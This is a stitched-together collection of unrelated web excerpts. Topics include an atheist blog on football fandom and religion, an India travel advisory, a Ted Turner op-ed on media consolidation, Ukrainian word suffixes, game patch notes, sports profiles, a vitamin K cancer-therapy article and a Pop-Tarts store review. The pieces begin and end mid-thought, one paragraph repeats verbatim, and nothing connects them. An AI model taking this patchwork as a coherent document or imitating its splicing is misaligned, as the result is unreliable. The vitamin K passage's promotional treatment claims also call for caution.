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Football season is upon us! (American, not soccer) I love this time of year. It is a time to gather with friends and share the common experience of rooting for your team. It's infectious.I hope this confession doesn't revoke my man-card, but I didn't get into sports spectating until college. A big reason for this is because I was never that in to sports performing either. A combination of laziness and anti-social behavior kept me in my shell until the needed quantity of Jack Daniels and fellowship was applied. At the University of Georgia, it was near impossible to not identify as a "dawg." I rooted for Georgia because everyone rooted for Georgia. It was the culture and I fucking liked it.The college football culture is so strong in the south that whenever someone says "I'm a Georgia fan" or "I love Alabama" or "Let's go Florida" it is understood that they aren't talking about the state--they are talking about the universities, more specifically the athletic programs. This may not be a ringing endorsement for the region at large, but the conversational fact is that one's sports team is often indistinguishable from one's location. Hell, this time of year, it's one's identity.Oh, wait, this is an atheist blog, right?It occurs to me that people's obsession on this or that team relies on one of two factors the vast majority of the time. You root for team "X" because you either are geographically located near team "X" or your parents root for team "X." What do you think the percentages are that the same two factors play a heavy role for religious preference? Do most people you know practice the same faith as their parents? That may be anecdotal evidence, but statistics show this as well. It's impossible to argue that Hinduism isn't primarily practiced in Indian. Muslims and Christians have spread out some, but stick together just the same. "Jewish" as a term is so intrenched in cultural heritage that it identifies ethnicity every bit as much as faith. And I thought sports franchises and locations were interchangeable, Judaism has taken it to a whole new level.You probably think it's silly for me to say that the Georgia Bulldogs are the objectively right team, but that is what the religious are saying. It's important to consider that belief in Jehova, Yahweh, Allah, or Vishnu is more dependent on convenience than correctness.
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We advise you to exercise a high degree of caution in India at this time because of the high risk of terrorist activity by militant groups. Pay close attention to your personal security at all times and monitor the media for information about possible new safety or security risks. Terrorist attacks could occur anywhere at any time in India with little or no warning. Possible targets include public places in New Delhi, Mumbai and other major cities, areas frequented by tourists (such as hotels, markets, tourist sites and transport hubs), Indian security and political interests and other locations identified under Safety and Security: Terrorism. Major secular and religious holidays could provide terrorist groups an opportunity or pretext to stage an attack. A number of terrorist attacks in India have resulted in significant casualties. For example, in 2008, over 170 people were killed and more than 300 were injured in a series of coordinated terrorist attacks targeting places frequented by Westerners in Mumbai. Australians were among the casualties. More recent attacks causing significant casualties have occurred in Varanasi in December 2010, Mumbai in July 2011 and New Delhi in September 2011. Violent protests and demonstrations occur frequently throughout India. Australians are urged to avoid protests, to monitor international and local media, and to follow the instructions of local authorities. Parts of India are subject to earthquakes, flooding and cyclones. In the event of a natural disaster it is likely that severe disruptions to services may occur. See under Natural disasters, severe weather and climate for more information. Due to the risk of harassment and assault, women travelling alone should take particular care in all parts of India. See under Crime for more information.
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Large corporations are more profit-focused and risk-averse. They often kill local programming because it's expensive, and they push national programming because it's cheap--even if their decisions run counter to local interests and community values. Their managers are more averse to innovation because they're afraid of being fired for an idea that fails. They prefer to sit on the sidelines, waiting to buy the businesses of the risk-takers who succeed. Unless we have a climate that will allow more independent media companies to survive, a dangerously high percentage of what we see--and what we don't see--will be shaped by the profit motives and political interests of large, publicly traded conglomerates. The economy will suffer, and so will the quality of our public life. Let me be clear: As a business proposition, consolidation makes sense. The moguls behind the mergers are acting in their corporate interests and playing by the rules. We just shouldn't have those rules. They make sense for a corporation. But for a society, it's like over-fishing the oceans. When the independent businesses are gone, where will the new ideas come from? We have to do more than keep media giants from growing larger; they're already too big. We need a new set of rules that will break these huge companies to pieces. The big squeeze In the 1970s, I became convinced that a 24-hour all-news network could make money, and perhaps even change the world. But when I invited two large media corporations to invest in the launch of CNN, they turned me down. I couldn't believe it. Together we could have launched the network for a fraction of what it would have taken me alone; they had all the infrastructure, contacts, experience, knowledge. When no one would go in with me, I risked my personal wealth to start CNN. Soon after our launch in 1980, our expenses were twice what we had expected and revenues half what we had projected. Our losses were so high that our loans were called in. I refinanced at 18 percent interest, up from 9, and stayed just a step ahead of the bankers. Eventually, we not only became profitable, but also changed the nature of news--from watching something that happened to watching it as it happened. But even as CNN was getting its start, the climate for independent broadcasting was turning hostile.
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Common Ukrainian Suffixes Root Type + Suffix = Resulting Word Type English Translation Example Noun + {-ар(ь), -ач, -ць, -ак, -ик, -аль, -ист (from Latin -ist), -ух} = Noun one who does, -er, often male школяр, ткач, коваль, бандурист, пастух Noun + {-иця, -иня, -(а)ха, -аля, -ка} = Noun female version of a noun княгиня Adjective + {-ець, -ак, -ик, -ко, -ун} = Noun a male with the given attribute of the adjective грішник Noun of a city/nation + {-ин(я), -як(а), -ець/-ця} = Noun citizen/inhabitant of the city/nation (male/female) українець Noun + {-енко, -ич, -юк, -чук, -івна} = Noun descendant of, son/daughter of Шевченко (from швець), Ткачук (from ткач) Noun + -иха often a negative female noun (female pejoratives) сторожиха Noun + -ня place where noun can be done/found читальня, книгарня Adjective + -ота being in the state described by the noun біднота Noun/Verb Stem + -ство abstract form of the noun, -dom, -ship, -edness царство, товариство, жіноцтво Adjective + -ість possessing the qualities expressed by the adjective, -ness радість, старість Any Word + {-ок/-ка/-ко, -енько, -ць/-ця/-це, -ятко (< Common Slavic *-ętko/*-ятко)} = Noun diminutive, of various shades of positive meaning (masculine/feminine/neuter forms given) млиночок, телятко, вітерець Any word + {-ака, -сько, -ище, -ура, -уга, -ука} = Noun augmentative with a negative connotation хлопчисько, дідище Masculine Noun + -ів = Possessive Adjective Possessive adjective братів Feminine Noun + -ин = Possessive Adjective Possessive adjective бабин Nouns + {-овий/-ський} = Adjective belonging to, containing the noun дубовий, сільський Nouns + -ячий (< Common Slavic *-ętjĭ) = Adjective belonging to курячий, риб'ячий Nouns + -яний (< Common Slavic *-ęnjĭ/-) = Adjective made of, consisting of дерев'яний, гречаний Nouns + -ний = Adjective made of молочний Adjective + -ісіньк-/-есеньк- = Adjective 'absolutely, most highly, extremely' чистесенький/чистісінький Adjective + -нький = Adjectival Noun diminutive чорненький Adjective in -ський + -щина (drop -ський) = Noun The noun refers to the region Київщина (Foreign) Word + -увати = Verb creates a verb from any other word купувати
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- 1 Handed Swords = +/-10% - 2 Handed Swords = +/-20% - Rods = 0% - Staff = 0% - Crossbow = +/-20% - Bow = +/- 40% - Pistol = +/-20% - Cannon = +/-40% - Musket = +/-50% - 1 Handed Blunt = +/-10% - Dagger = +/-10% - Rapier = +/-10% The Potential on equipment sold at shops will be changed: - The potential of common grade Lv 270 & 315 Equipment sold in stores will change to 4. 【Monster Changes】 Beserk Monsters effects have been changed. - Instead of doubling the ATK, the Damage dealt is doubled from the effects of Berserk. Monster's Health & EXP have been adjusted. 【System Changes】 Armor Type and Attack Type damage bonuses have bee altered. - Depending on the type of attack, the damage bonus to armor types has changed to the following: For ease of viewing, I've attached a URL for comfortable viewing. [ Armor/Wepon Property Table = https://docs.google.com/spreadsheets/d/1Tk0fqEuy5Z4AiAOICtUDRLbByaVqtSJYw4gC7WuF7_4/edit?usp=sharing ] All Hunting Ground map's Cube drop rates have been adjusted. 【Event】 「Girl's Wool」 Event has begun. - Visit the girl in Klaipeda or Fedimian and get daily rewards. - The quest can be obtained once a day, once per team at 00:00. - Event items cannot be stored / transfered via the team warehouse. - Rank Reset is available within 60 days of obtaining the items. 「Another Journey」 event has begun. - Create a new character and visit Commander Uska in Klaipeda to receive a Goddesses' level up box, these can be claimed up to 3 times per team. - Each box has a level requirement that must be met before it can be used. - You cannot store the level up boxes. ※ If the event is moved to official servers in future, we will give back and reward those who partook in the event. (Including Test Server ones) 「Mission: Survival Instincts」event has ended. ※ Associated Event Items will be removed in next week's maintenance. (25/05) 【Bug Fixes】 Fixed issue where name changing wasn't updating in guild windows/ lodge/party information. Fixed some more issues with the preview function in the TP Store. Fixed visual errors with archers Ceremonial Costume (M) that occured after using gestures. Fixed issue where you couldn't get rid of the Rank 8 Card if it was left on the character. Fixed bug where it was possible to instantly attack immedietly after the next round had started in TBL.
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hat all shifted after the injury on Nov. 1, when the popular assumption became that Smith couldn't possibly allow the final moment of his playing career to be him clutching his head in his hands, at the nexus of a circle of doctors and trainers trying to soothe him, and with a stunned Harbaugh trying to think of what to say. "Everybody says they knew it -- I'm glad they did, because I didn't," Smith said in April of this year. "When you make a decision that you're no longer going to play, I question whether that was the right decision. When I got hurt, I questioned, was it because I said I wasn't going to play? Is this God trying to tell me,? I had to decipher what was going on. I had to figure out what it meant. "Smith was highly emotional in the locker room after he was hurt. Following the game, Harbaugh told Smith he thought he could come back to play again, and then he said the same publicly. But it was quarterback Joe Flacco who made the biggest impact on Smith in the minutes after his teammates learned of the severity of his injury. "Joe walked over to me and said, 'There is nothing you need to be ashamed of. The impact you've made on us in a short amount of time has taken people years to do. You make me better. Whatever you decide, you need to be proud of that.' " Smith recalled. "That broke me down. "Belying his fiery on-field persona, Smith is deeply introspective and thoughtful. When he thought he was going to retire, he talked one day about how much he was looking forward to watching his son, Peyton, play college soccer. There would be carpooling and sports with his other children (he and Angie have four kids: Peyton, Baylee, Boston and Steve Jr.). He coached Boston in flag football, drawing up plays on a dry-erase board. He emphasized proper hydration and wearing mouthpieces and not celebrating. He had a stack of books he wanted to read -- histories, financial advice, travel and spiritual guidance.Harbaugh said that he was surprised when he realized Smith was depressed after he was hurt, but that after three or four weeks, Smith was growing fiery again.
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Jordan has been part of two promotion-winning sides - on loan at Brentford in League 2 in 2008/09 and with Huddersfield Town in 2011/12 via the League 1 Play-Offs.Jordan has set goal scoring feats throughout the last decade, becoming the youngest ever Brentford player to score a hat-trick aged just 18, the first Huddersfield player to score back-to-back hat-tricks since the 1920s, equalling the Terriers' record of goals in a game with five against Wycombe Wanderers and equalling the Blackburn Rovers' record for goals in consecutive games.Eddie Howe became manager of the Bournemouth in January 2009 and steered the club to Football League survival, despite starting the season on -17 points.The 2009/10 season then saw Eddie guide them to second place in League 2, earning the first of his two promotions.An 18-month spell at Burnley followed but he returned to AFC Bournemouth in October, and by the following April promotion to the Championship was sealed. Eddie is now considered one of the most talented young managers in the game, and continues to impress as his team looks for promotion from the Sky Bet Championship.With an overall win percentage of nearly 50 per cent from almost 300 games as a manager, Eddie’s teams play attractive football that delivers goals.Many of the selected individuals were in attendance at the glittering ceremony to acknowledge their inclusion in the special line-up.Eddie Howe said: "It's a privilege to pick up the award. A real surprise given the people that could have been chosen for the award. We're (Bournemouth) still in control of what we do this season, in a fantastic position so we'll see what happens. "Wes Morgan commented: "It's an unbelievable feeling to be voted in the top team of the last 10 years. Really highlights how much I have done in my career so I'm delighted to get this award and long may it continue. We've done well to get three wins in a row but the task is not over. We need a few more wins at least to beat relegation. "Kasper Schmeichel added: "It feels incredible when you see the keepers that have graced this league. I feel humbled and honoured to even be nominated but to actually be in the team is an incredible honour.
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But as part of the taskforce, he met with medical marijuana users and he realized he “couldn’t have been more wrong. “I didn’t expect the types of people I met, people with jobs, people no different than any of us in this room. It brought about a huge change in me.” The two former cops framed their business as one that will help counteract widespread opioid use and abuse. Instead of doctors prescribing patients opioid medications for pain, they can prescribe medical marijuana through companies like Aleafia, Fantino said. Aleafia says it will connect patients with medically authorized cannabis and other health services at locations across the GTA. It does not dispense cannabis, but rather provides patients with assessments and suggests treatments. “First and foremost, we are not in the marijuana business,” Fantino said, “We are in the health delivery system and that’s our focus.” Change of heart A look at Julian Fantino’s past public statements on marijuana: “The evidence clearly indicates that organized crime is heavily involved in grow operations and the distribution of marijuana . . . I am also concerned about the apparent lack of scientific or medical certainty on the impact of marijuana use on humans and their activities.” — Fantino’s statement posted on the Sootoday.com, May 28, 2003 “My issue is not a morality issue. . . . To be frank about it, by making it easier to smoke pot we're also increasing the profits and the activities of organized crime who are very much involved in the grow operations.” — Fantino to the Toronto Star, Dec. 24, 2003 “Legalization is an irresponsible policy that only puts dangerous drugs on the streets and in our communities, and sends the wrong message to children that recreational drug use is okay.” — Fantino in a flyer distributed to Vaughan households by his MP office, July 30, 2014 “Today, Justin (Trudeau) admitted that his top and urgent justice priority is to change the law to allow the sale of marijuana in corner stores, putting our children at risk. Justin’s singular justice policy will make smoking marijuana a normal, everyday activity for Canadians and he wants to make marijuana available in storefront dispensaries and cornerstores just like alcohol and cigarettes. This is simply wrong, and puts the health and safety of our children and communities at risk.” — Fantino’s Facebook page, Sept. 30, 2015 “This is not like smoking cigarettes.
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Make sure the roasting pan will fit into your oven! Wood cook stoves don’t have the same huge ovens as gas or electric stoves. Tea Kettle – Stainless Steel or Copper. In the winter, a steaming tea kettle on the wood stove not only serves as as-the-ready for tea or coffee, the steam warms and moisturizes the air. Just don’t let it boil down all the way before refilling it. Colanders – Metal (stainless steel) is best. If you have or want some plastic colanders, understand that they will break over time, and most of them are made with BPA in the plastic. Cookie Sheets – for breads, biscuits, cookies, for drying fruits or veggies… Avoid Teflon coatings or aluminum cookie sheets – get stainless steel. Cooking Utensils – Again, metal (stainless steel) is much better than plastic, and with stainless steel and cast iron cookware, you don’t have to worry about scratches: Spatulas Ladles Serving Spoons Serving Forks Slotted Spoons Pastry Cutter Rolling Pin Sharpening Steel Cheese Grater/Slicer Whisk Potato Peeler Meat Tenderizing Hammer Measuring Cups and Spoons – Once again, stainless steel is the best choice for these. A 4-cup glass measuring cup with a pour-spout would be a nice addition, too. Good Knives – Good Knives are ones that will keep a sharp edge for a reasonable amount of time, not go dull instantly upon use. If you can find old, carbon-steel knives in yard sales or flea markets, they are best – Old Hickory, Old Timers, Imperial are some brands to look for.
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His son drew near, and, with a faltering tongue, asked if he had any thing to hope; he answered, "No, my son; your life is forfeited to the laws, and at sun-rise you must die. I have prayed for your prosperity, but that is at an end-with the world you have done for ever-were any other but your wretched father your judge, I might have dropped a tear over my child's misfortune, and solicited for his life, even though stained with murder-but you must die-these are the last drops which shall quench the sparks of nature-and, if you dare hope, implore that Heaven may not shut the gates of mercy on the destroyer of his fellow creature. I am now come to join with this good man in petitioning GOD to give you such composure as will enable you to meet your punishment w ith becoming resignation." Then, as if fearful of relapsing into his natural softness, and of forgetting the great duty he had imposed upon himself, he requested the priest to proceed: they knelt down, and administered the rites of the church to the unhappy criminal, to fortify him for the approaching catastrophe. The young man's native spirit seemed gradually to be restored; he joined fervently in prayer; sighed heavily from time to time; but spoke of life and its concerns no more: and thus, with intervals of silence, the woeful night passed over. It was scarcely day, when the expected summons to prepare was given to the guards without. The father rose, and assisted the executioner to remove the irons which still bound his unfortunate son; then, unlocking the door, he ordered him to stand between the priest and himself, and lean upon an arm of each. In this manner they ascended a flight of steps, lined with soldiers, and were passing on to gain the street, where a strong escort had been appointed to receive and go along with them to the usual place of punishment, at the eastern extremity of the town. The concluding scene of the father's struggles and the son's misery was, it might be supposed, now very nigh; but a trial more severe yet awaited them, and the unparalleled firmness of the former was to undergo a still further proof. The relations of the unhappy culprit surrounded the father: they conjured him again, by all the solicitude of nature and compassion, to spare his son.
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“If you work with the right official, decisions are made and implemented at a great pace,“ he says, adding, “what's not challenging is not fun“.The writer works with Avantika Foundation.
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While CoD doesn't use too much bandwith, having multiple appliances on the same internet connection can ovwerwhelm and stifle connection from your videogame, especially if those applications primarily use a TCP connection Input prediction and lag will cause players to be out of sync with each other. More specifically, each client will see the other players significantly behind themselves. The difference will basically be. This stacks up to make a pretty big difference. When mixed with the fact that hit detection is designed to work properly from the shooter's perspective, this causes some wacky effects. The first major one comes from coming in and out of cover.In this situation, we have an enemy who is running away from you as you are shooting him. On his end, he has turned the corner, safe from your view. However, due to lag, the last snapshot to be rendered onwas when he was a split second behind. due to the fact that you can act instantly and that hit detection is client side, your shots will register shooting him even though in real time on his client, he is out of your view. If you've been on the bad end of this (and you almost certainly have) you'd notice that you can actually travel a fair distance behind cover. This isn't as "bullshit" as it seems simply because for half of this time, you were already dead, your client just hadn't gotten word of it and thus input prediction allowed you to move because as far as it was concerned, you were still alive. * In actuality the difference is more reasonable and it just looks worse because the information had to get back to you.It's important to note that this is simply dependent on a connection discrepancy. It doesn't matter who has the better connection on either side because the latencies of the players involved stack together. You do need to acknowledge the fact that in CoD, if either you or the opponent is lagging, then they have a window of opportunity after you take cover to kill you.In this scenario, you are camping. Enemy comes around the corner and starts shooting you. On your end of the spectrum, he hasn't come around the corner yet. Basically, he sees you before you see him simply because he is moving into the room and you're already there.
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He does a nice job rotating away from the defender and finding a soft spot in the defense to free himself up for a shot. Hischier then battles through contact and makes a little play to help keep it alive and help maintain possession. Seconds later he sets up a scoring chance from behind the net and then draws a (somewhat soft) penalty.- Hischier's playmaking ability is really good. He can move the puck through tight spaces and create when it looks like nothing is there (see videos above). He is also very dangerous behind and around the net.To help put Hischier's playmaking into perspective, he averaged more primary assists per 60 at even-strength than Matthew Tkachuk, Travis Konecny, Logan Brown and Alex Nylander did during their draft years.- Hischier doesn't have a lot of power in his shot but he does have a quick release. It's on his stick and off it in a split second, which makes it very hard for goaltenders to stop. In my viewings, he's been really good at slipping through the cracks and finding soft spots in the defenses.- He doesn't shy away from the physical game and uses his body effectively when protecting the puck or trying to knock an opponent off of it. He has bounced off bigger bodies a couple times but when he fills out a little more I don't see that being a problem.- Patrick's skating is one area scouts have picked at a little bit. While he isn't a dynamic skater, I don't see it as a problem. He has long strides and gets around the ice fairly well even though it may not always look like it.- One area Patrick definitely has Hischier beat: shot power. He has a heavy one-timer and doesn't shy away from using it. In general, there seems to be good zip on his shot. In one of the games I went through, Patrick didn't get the location he wanted but the puck still squeaked through because of the power behind it. He'll score his fair share of goals at the next level.- Patrick has good hands for a guy his size. He showed the ability to stickhandle around defenders in space and looks confident with the puck on his stick. He tried some pretty fancy moves on breakaways, too.- His defensive game comes as advertised.
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When CNN asked Fields if Trump's attempts to influence corporations amounted to "crony capitalism," Fields doubled down and said the decision had more to do with Trump's proposed tax and regulatory policies, including bringing the corporate tax rate down. "He has said very clearly that he wants to create a very positive business environment for businesses to invest in the U.S.," he said. "We'll have to see how that rolls out, but again, this is a vote of confidence that we feel very good about that kind of direction and in making these kind of business decisions. "The company's Flat Rock production will now include a hybrid Mustang, which will debut in 2020. The company will also begin production of a new electric SUV and a new autonomous vehicle at the Flat Rock plant.Watch the CNN interview here
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NTSB incident reports are available online, and I was able to pull up the exact document he was referencing. And he's right, it says exactly that. However, it also says on page 36 that it's possible the pilot was reading the altimeter wrong. Due to a quirk on this aircraft, if you viewed the altimeter from the side, it was easy to make an error of 10,000 feet. The first digit of the attitude was obscured by the bevel. Pictures were included in the document that illustrate how easy this mistake is, and it had caused another 727 to crash earlier in the year. Gourley cited this document, but didn't mention this very plausible explanation. NTSB incident reports are available online, and I was able to pull up the exact document he was referencing. And he's right, it says exactly that. However, it also says on page 36 that it's possible the pilot was reading the altimeter wrong. Due to a quirk on this aircraft, if you viewed the altimeter from the side, it was easy to make an error of 10,000 feet. The first digit of the attitude was obscured by the bevel. Pictures were included in the document that illustrate how easy this mistake is, and it had caused another 727 to crash earlier in the year. Gourley cited this document, but didn't mention this very plausible explanation. These are examples of how stories are told when one wants to foster the idea that there is something strange going on. Two ships colliding in a storm is a good sea story, a ship simply vanishing is a good ghost story. Gourley is careful to say that he doesn't know what happened to his list of missing vessels, but he's not shy about offering suggestions. These include some natural phenomena such as rogue waves, seiche waves (which could have their own article), and magnetic anomalies. But he's not shy about offering UFOs and the whole panoply of explanations found in Berlitz's book. In fact, Berlitz is referenced heavily throughout The Great Lakes Triangle, and Gourley's later work often deals with UFOs and other such phenomena. Author Hugh Cochrane thanks Jay Gourley in his own book, Gateway To Oblivion: The Great Lakes' Bermuda Triangle. And from there, he expands upon the idea that the Great Lakes are host to vile vortices, UFO hotspots, Earth energies, and an entire catalog of unproven phenomena.
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Vitamin K treatment of bone marrow cells from MDS patients potently induces apoptosis (programmed cell death) of the leukemic cells, with the effect much more prominent on blast cells than on mature white cells.41,42 Vitamin K2 also induces MDS cells to differentiate into healthy white blood cells, even when full-blown leukemia has developed.43 Successful therapy of MDS with vitamin K2 was first reported in 1999, in an 80-year-old woman with persistent anemia from the disease. Prior to treatment she had required regular blood transfusions; 14 months later she was independent of them.44 Similar benefits were found in a small group of MDS patients with refractory anemia in 2002.45 And some improvements were also found in MDS patients with low white blood counts compared with those receiving no treatment.46 The combination of vitamin K2 with vitamin D3 achieved good differentiation in a lab study of leukemia cells, suggesting that it might be effective therapy for both MDS and leukemia.47 In a clinical study in mid-2010, the addition of vitamin D3 to vitamin K2 more than doubled the response rate of MDS patients with refractory anemia and low white blood counts, from 13% to 30%. Those are big numbers for conditions traditionally difficult to treat with standard chemotherapy!48 Why You Need Vitamin K: The Triage Theory Bruce Ames of the Children’s Hospital in Oakland, CA, is noted for substantive, evidence-based reflections on cancer and the human condition. Together with colleague Joyce McCann, Ames has developed the so-called “Triage Theory,” which has surprising relevance to our discussion of Vitamin K and cancer.49 According to the theory, the body prioritizes micronutrient use, favoring functions required for short-term survival over those needed for longevity. Ames and McCann recently applied this thinking to the many newly-discovered roles of vitamin K in our bodies, including cancer prevention. Here’s an example: our cave-dwelling predecessors were constantly threatened by large predators (think saber-toothed tigers). Get mauled by one of those big cats, and you’d better have good blood clotting systems if you’re going to survive. You’d need at least enough vitamin K to prevent bleeding to death. But your chances of living to a ripe old age—hungry felines or otherwise—was quite low in those days. So it didn’t really matter if you had enough vitamin K on board to prevent cancer—you just weren’t going to get that old.
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Pop-Tarts World? More like Pop-Tarts fail. I'm a life-long consumer and supporter of Pop-Tarts, but this store is nothing short of a spectacular flame-out. I work across the street and first noticed it on my way to work one day when I was greeted by its ridiculous, building-length banner of the Statue of Liberty with Pop-Tarts a day before it opened. "Alright, Pop-Tarts! I like Pop-Tarts! This looks goofy! It should be great!" was what ran through my head: a totally normal reaction, right? Much to my disappointment, when I arrived on opening day I was greeted by the grim reality that there was something rotten in the state of Pop-Tarts World (if Pop-Tarts World were a state it would be Idaho. People would feel creepy about visiting it. Although I guess there's no reason to get your hopes up for Idaho. Ok. Pop-Tarts World would be like Hawaii if Hawaii turned out to be Idaho.). To begin with the store's layout follows no naturally recognizable flow and can be confusing to navigate. There is a machine that dispenses Pop-Tarts, and while it contains every type of Pop-Tart, you can only assemble a box of six, which is a bit much. There is a section that features customizable Pop-Tarts t-shirts (??? Both ironic hipster fail and hyperactive child fail) and then there's the Pop-Tarts bar, at which you can order Pop-Tarts and a variety of confections, including the [in]famous Pop-Tarts sushi: crumbled berry Pop-Tarts wrapped in a fruit roll-up. The sushi was bad, just plain bad. Everyone knows that the best parts of Pop-Tarts are the filling and the frosting. The sushi innards mainly consisted of the remaining pastry, which is flavorless and sucks all the moisture out of your mouth. Despite this seeming pitfall, the sushi manages to deliver a saccharine overload to your system the minute it hits your taste buds, but rather than in a good way, it's in an insipid, yet sickly, mouth-puckering way. You would be better off injecting a syringe full of high fructose corn syrup into your palate. I love sugar like nothing else - if you don't believe me, you can find my happy place at the bottom of a glass of 2 parts Ocean Spray cranberry juice cocktail and 1 part Sprite, in that order - but this is definitely bad. The nasty frosting on this Pop-Tart is that this Pop-Tart-emblazoned store is a total rip-off.
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In light of consumer neuroscience research on the dissociation of brand and person judgments (Yoon et al. 2006), our findings have an important limitation. Although we demonstrate the ability for anthropomorphic consumer products to fulfill social needs at the expense of interpersonal connection, our data do not speak to whether or not consumer products and humans are perfectly substitutable. To be clear, we do not expect that consumer products satisfy social assurance needs in the exact same way that people do, no matter how anthropomorphic the product may be. Indeed, support for this idea can be found in the misattribution experiment (experiment 4) in which drawing explicit attention to the anthropomorphic product’s features mitigates the effect; one would not expect drawing explicit attention to the human characteristics of an actual human to eliminate the ability for a person to fulfill social needs. Although there may be extreme examples of the effect that result in nearly perfect substitutability of a person with a product, such as is implied by extreme hoarding of items at the cost of real emotional attachments (Frost and Hartl 1996), it is important to note that this is likely an exception rather than the rule. The primary takeaway of the present research is that anthropomorphic products have the ability to affect the fulfillment of social needs—needs typically fulfilled by other people. Social need fulfillment via one route does not necessarily mean total exclusion of the other route; it simply means that once a need is fulfilled via one path a consumer may not immediately seek fulfillment of the need via the other path. More research on this topic is needed to identify when and why fulfillment of social needs via product consumption may come at a greater cost to genuine interpersonal interaction in some contexts or for certain consumer types compared to others. Furthermore, future research should explore the extent to which anthropomorphic products can influence specific social needs, and where interpersonal interaction and product interaction overlap and diverge with respect to social need fulfillment.
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“Well, Biblically speaking, is there such a thing as insanity and is it a defense for a crime? We might look back to King David when he’s captured by the Philistines and he starts frothing at the mouth, playing crazy and so on.” When Biblical law conflicted with American law, Eidsmoe said, O.R.U. students were generally taught that “the first thing you should try to do is work through legal means and political means to get it changed.” “Christianity and the Constitution” is ostensibly a scholarly work about the religious beliefs of the Founders, but it is really a brief for political activism. Eidsmoe writes that America “was and to a large extent still is a Christian nation,” and that “our culture should be permeated with a distinctively Christian flavoring.” When I asked him if he believed that Bachmann’s views were fully consistent with the prevailing ideology at O.R.U. and the themes of his book, he said, “Yes.” Later, he added, “I do not know of any way in which they are not.” Eidsmoe has stirred controversy. In 2005, he spoke at the national convention of the Council of Conservative Citizens, a defiantly pro-white, and anti-black, organization. (Eidsmoe says that he deeply despises racism, but that he will speak “to anyone.”) In Alabama last year, he addressed an event commemorating Secession Day and told an interviewer that it was the state’s “constitutional right to secede,” and that “Jefferson Davis and John C. Calhoun understood the Constitution better than did Abraham Lincoln and Daniel Webster.” In April, 2010, he was disinvited from a Tea Party rally in Wausau, Wisconsin, because of these statements and appearances. Bachmann has not, however, distanced herself, and she has long described her work for Eidsmoe as an important part of her résumé. This spring, she told a church audience in Iowa, “I went down to Oral Roberts University, and one of the professors that had a great influence on me was an Iowan named John Eidsmoe. He’s from Iowa, and he’s a wonderful man. He has theology degrees, he has law degrees, he’s absolutely brilliant. He taught me about so many aspects of our godly heritage.”
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"Ultimately, though, it came down to this: The subjects of news coverage don't get final say on who they'd like best to ask the questions and do the reporting - or who they don't want. And I think that particularly applies to public officials participating in an event organized by the journalism organizations. When Mayor Jackson's office decided that had to be part of the deal, the Press Club board decided we didn't want to be part of any such deal. "It wasn't an easy choice. We'd prefer voters get to see and measure their candidates. But we decided it was the only choice. "Boomer, for his part, and on behalf of the Greater Cleveland Association of Black Journalists, told Scene the arrangement itself, in the end, was what led to the event's demise. "Politics and politicians often deal in the art of compromise. In journalism, compromise is a luxury we can not afford. We at GCABJ very much wanted to offer the residents of Cleveland an opportunity to see and hear from those wanting to lead this city," Boomer wrote. "We also wanted those people to have access to same. However, after much discussion and soul searching we felt the mayor's requirement that we should drop Scene Magazine from the panel of journalists to ask questions was crossing a line that as professionals we should not and will not cross. Keep in mind, it is our standard to which we must be held, not that of those seeking office. We look forward to fairly covering this race and without bias cover whichever administration wins, but we will do as we always have with our good judgement and ethical standards intact. Thank you for your interest and I believe our faith in your fairness will support our decision to do the right thing at the right time. "A message seeking comment from Jackson's campaign was not returned.A message seeking comment from City Hall spokesperson Dan Williams, who as recently as two weeks ago told a contributor of ours that the city doesn't talk to Scene "because it's not a responsible media organization and treats the mayor and city unfairly," wasn't returned either. Williams did, however, reach out to the contributor shortly after our email to inquire how and why the remark made its way to Scene HQ and to note he'd probably let our request lie dormant (per usual).
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Queen Elizabeth II is Australia’s de jure Head of State as the Queen of Australia for all the seven Australian Crowns. She is also the Head of State for the 15 other Commonwealth realms including the United Kingdom, New Zealand and Canada.Each of the seven Australian Crowns has one person to represent the Queen in the respective federal or state Parliament, namely the Governor-General for the federal Parliament and the state Governors for each of the state Parliaments respectively. There is a one-to-one relationship between an Australian Crown and the representative of the Queen in one of the Australian federal or state Parliaments. There is no hierarchical relationship between the representatives of the Queen. They represent the Queen as Head of State for their respective parliament. The State Governors are not subordinate to the Governor-General. The ARM framework for a republic would change and distort these relationships if the Governor-General were to be promoted to be Australia’s Head of State, as the ARM proposes. There are also many other reasons for replacing the Queen only, while keeping the Governor-General as the representative of the Head of State in a Copernican republic.There are seven representatives of the Queen (the Governor-General and the six state Governors), with one representative each for each of the seven Australian Crowns respectively. A list of the seven Australian Crowns (in alphabetical order) is below:
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That’s what these players have earned here. The margin of error here is so small. One drone pull too slow and your workers don’t make it. One missed storm and the lurkers teardown you probe lines.Bisu andhero have played each other plenty of times in ladder matches. One player may win nine out of ten times on ladder. The only wins that matter are the ones played Sunday night. Pixel by Pixel, play by play, these players battle to the finish. These are the greatest players in the world. They are meant to be here. This is their fight. When they walk into the finals venue and stare down each others eyes they have to believe it’s already over for their opponent. Starcraft is game of mental toughness and physical stamina. Only the player who has sacrificed every last minute of every day to practice will win Sunday night.Just one year ago, two phenomenal players sat less than twenty feet from each other and went toe to toe in the best Starcraft of 2014. It is by no chance that these same two players, Bisu and hero, run into each other again. Each player proved their right to be in the finals by overcoming their hardest challenges. Bisu is fighting to finally take hold of his first OSL gold medal, an object that has eluded him his entire career. Hero is fighting for revenge and the right to finally establish himself as the best player in the entire world, a privilege he has never been able to hold before now. There is only question left unanswered, which player is hungrier?Read on as BigFan recaps the first two semifinal matches, while Stratos, prech, and FlashFTW share an exclusive interview with hero . As we look forward to the finals, BisuDagger looks back at the lore that is Bisu . As part of our finals preview, prech and v1 visually trace the players' road to the finals. BLinD-RawR then previews how Bisu will perform at the finals while FlashFTW & amazingxkcd team up to preview things from hero's perspective . Get ready, play starts on Table of Contents Semifinals Recap
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She weighed in at 7 lbs, had blood work done and her electrolytes were checked. Electrolytes were normal. All the important blood levels where significantly lower than they had been in mid August at A&M. We discussed her episode from a few days prior and the possibility of her developing dementia. It is Dr. Powell's opinion that what we were seeing, and probably have been seeing over the past few weeks, is the brain's reaction to the body's inability to absorb the necessary nutrients to function normally. His observation was as follows: The intestinal wall is thickened due to the cellular constitution and the only way to diagnose the condition further is to do a biopsy. The procedure requires anesthesia and Joanie would probably not do well or survive the process. This would only enable us to put a label on the problem, but the risks are just too high to even attempt this. Dr. Powell's recommended course of action is to give Joanie whatever she wants to eat, WHENEVER she wants to eat it! So, we are trying different foods to find out what is most palatable for Joanie. The last few days, she is loving hamburger patties, and that is encouraging. We know so many of you are with us when we say this breaks our hearts. Our Joanie has fought so hard to live. We must be heartened though by the fact that in the last few months she has known more wonderful care, more soft beds, more great food, and more love and prayers than most of us get in a lifetime. So if you will, please continue 